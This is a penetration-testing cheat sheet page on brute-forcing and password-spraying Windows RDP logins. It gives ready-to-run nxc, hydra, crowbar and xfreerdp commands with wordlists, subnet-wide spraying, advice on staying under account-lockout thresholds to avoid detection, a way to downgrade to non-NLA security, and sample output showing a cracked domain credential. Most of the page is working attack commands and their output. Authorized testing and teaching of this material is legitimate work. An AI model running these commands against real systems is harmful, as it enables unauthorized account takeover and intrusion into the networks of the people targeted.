Skip to content
HackIndex logo

HackIndex

RDP Brute Force and Password Spraying

5 min read Jul 10, 2026

RDP exposes Windows authentication directly on port 3389. With valid credentials you get a full graphical session. Brute force and password spray over RDP work the same way as against other Windows auth services — the main constraint is account lockout policy. Check the threshold before running anything and stay below it.

Network Level Authentication (NLA) is enabled by default on modern Windows and pre-authenticates before the desktop loads. It does not block brute force — it just means the credential check happens at the network layer rather than after a full session is established. Most tools handle NLA transparently.

Checking Lockout Policy Before Spraying

If you have any domain credentials, pull the policy via LDAP before running anything:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=domainDNS)" lockoutThreshold lockoutDuration
Explain command
-x Use simple authentication instead of SASL.
-H ldap://$TARGET_IP Specifies the LDAP server URI to connect to.
-D "$USER@$DOMAIN" Bind DN (distinguished name) used for authentication.
-w $PASSWORD Password for simple bind authentication.
-b "$BASE_DN" Sets the base DN for the search scope.
(objectClass=domainDNS) LDAP filter to match domainDNS objects.
lockoutThreshold Requested attribute: failed login attempts before lockout.
lockoutDuration Requested attribute: duration an account remains locked out.

Stay at least two attempts below the threshold per account per observation window. A threshold of 0 means no lockout — brute force freely.

Password Spraying with nxc

nxc is the most reliable tool for RDP credential spraying. It handles NLA and returns clear success/failure output:

┌──(kali㉿kali)-[~]
└─$ nxc rdp $TARGET_IP -u users.txt -p $PASSWORD -d $DOMAIN --continue-on-success
Explain command
$TARGET_IP Target host IP address to attack via RDP.
-u users.txt File containing list of usernames to attempt.
-p $PASSWORD Password to use for authentication attempts.
-d $DOMAIN Active Directory domain to authenticate against.
--continue-on-success Keep trying remaining users after a successful login.

Spray a single password across all users. Run one password per lockout window:

┌──(kali㉿kali)-[~]
└─$ nxc rdp $TARGET_IP/24 -u users.txt -p 'Winter2024!' -d $DOMAIN --continue-on-success 
RDP  10.10.10.10  3389  DC01  [+] CORP\jsmith:Winter2024! (Pwn3d!)
Explain command
$TARGET_IP/24 Target subnet in CIDR notation derived from the given IP.
-u users.txt File containing list of usernames to attempt authentication with.
-p 'Winter2024!' Password string used for authentication attempts.
-d $DOMAIN Active Directory domain to authenticate against.
--continue-on-success Keep spraying remaining targets even after a successful login.

(Pwn3d!) means the account has local admin or RDP access. Without it, the credential is valid but the account may not have RDP rights.

Brute Force with Hydra

For per-account brute force against a single target:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt rdp://$TARGET_IP
Explain command
-l $USER Specifies a single username to use for the attack.
-P /usr/share/wordlists/rockyou.txt Specifies the password wordlist file to iterate through.
rdp://$TARGET_IP Defines the protocol (RDP) and target IP address to attack.

With a user list:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 rdp://$TARGET_IP
Explain command
-L users.txt Load list of usernames from the specified file.
-P /usr/share/wordlists/rockyou.txt Load list of passwords from the specified wordlist file.
-t 4 Set number of parallel connection tasks/threads to 4.
rdp://$TARGET_IP Target protocol RDP at the specified IP address placeholder.

-t 4 limits threads — RDP connections are stateful and high concurrency causes timeouts and false negatives. Keep threads low.

For a non-standard port:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt rdp://$TARGET_IP:$PORT
Explain command
-l $USER Specifies a single username to use for authentication attempts.
-P /usr/share/wordlists/rockyou.txt Specifies the password wordlist file to iterate through.
rdp://$TARGET_IP:$PORT Target protocol (RDP), host IP, and port to attack.

Brute Force with crowbar

crowbar is purpose-built for RDP and handles NLA more reliably than Hydra on some targets:

┌──(kali㉿kali)-[~]
└─$ crowbar -b rdp -s $TARGET_IP/32 -u $USER -C /usr/share/wordlists/rockyou.txt
Explain command
-b rdp Specifies the brute-force service/protocol target (RDP).
-s $TARGET_IP/32 Target IP address with CIDR notation (single host /32).
-u $USER Username to use for the brute-force authentication attempt.
-C /usr/share/wordlists/rockyou.txt Path to the password wordlist file used for brute-forcing.

With a user list:

┌──(kali㉿kali)-[~]
└─$ crowbar -b rdp -s $TARGET_IP/32 -U users.txt -C /usr/share/wordlists/rockyou.txt 
2024-01-10 10:14:22 RDP-SUCCESS: 10.10.10.10:3389 - jsmith:Winter2024!
Explain command
-b rdp Specifies the brute-force service protocol to use (RDP).
-s $TARGET_IP/32 Target IP address with /32 CIDR notation (single host).
-U users.txt File containing a list of usernames to test.
-C /usr/share/wordlists/rockyou.txt File containing passwords to use for brute-forcing.

Verifying Credentials with xfreerdp

Once you have a credential pair, verify it connects before using it elsewhere:

┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert-ignore
Explain command
/u:$USER Specifies the username for RDP authentication.
/p:$PASSWORD Specifies the password for RDP authentication.
/v:$TARGET_IP Specifies the target host/IP address to connect to.
/cert-ignore Ignores TLS certificate verification errors on connect.

/cert-ignore bypasses certificate warnings on self-signed certs common in labs. A successful connection opens a full desktop session.

For domain accounts:

┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP /cert-ignore
Explain command
/u:$USER Specifies the username for RDP authentication.
/p:$PASSWORD Specifies the password for RDP authentication.
/d:$DOMAIN Specifies the domain for RDP authentication.
/v:$TARGET_IP Specifies the target host/IP to connect to via RDP.
/cert-ignore Ignores TLS certificate validation errors on connection.

Handling NLA Failures

If you get credssp or NLA errors, try disabling security negotiation:

┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /sec:rdp /cert-ignore
Explain command
/u:$USER Specifies the username for RDP authentication.
/p:$PASSWORD Specifies the password for RDP authentication.
/v:$TARGET_IP Specifies the target host IP or hostname to connect to.
/sec:rdp Forces use of classic RDP security protocol.
/cert-ignore Ignores certificate verification errors on connection.

/sec:rdp forces classic RDP security without NLA. Some older targets and misconfigurations require this.

References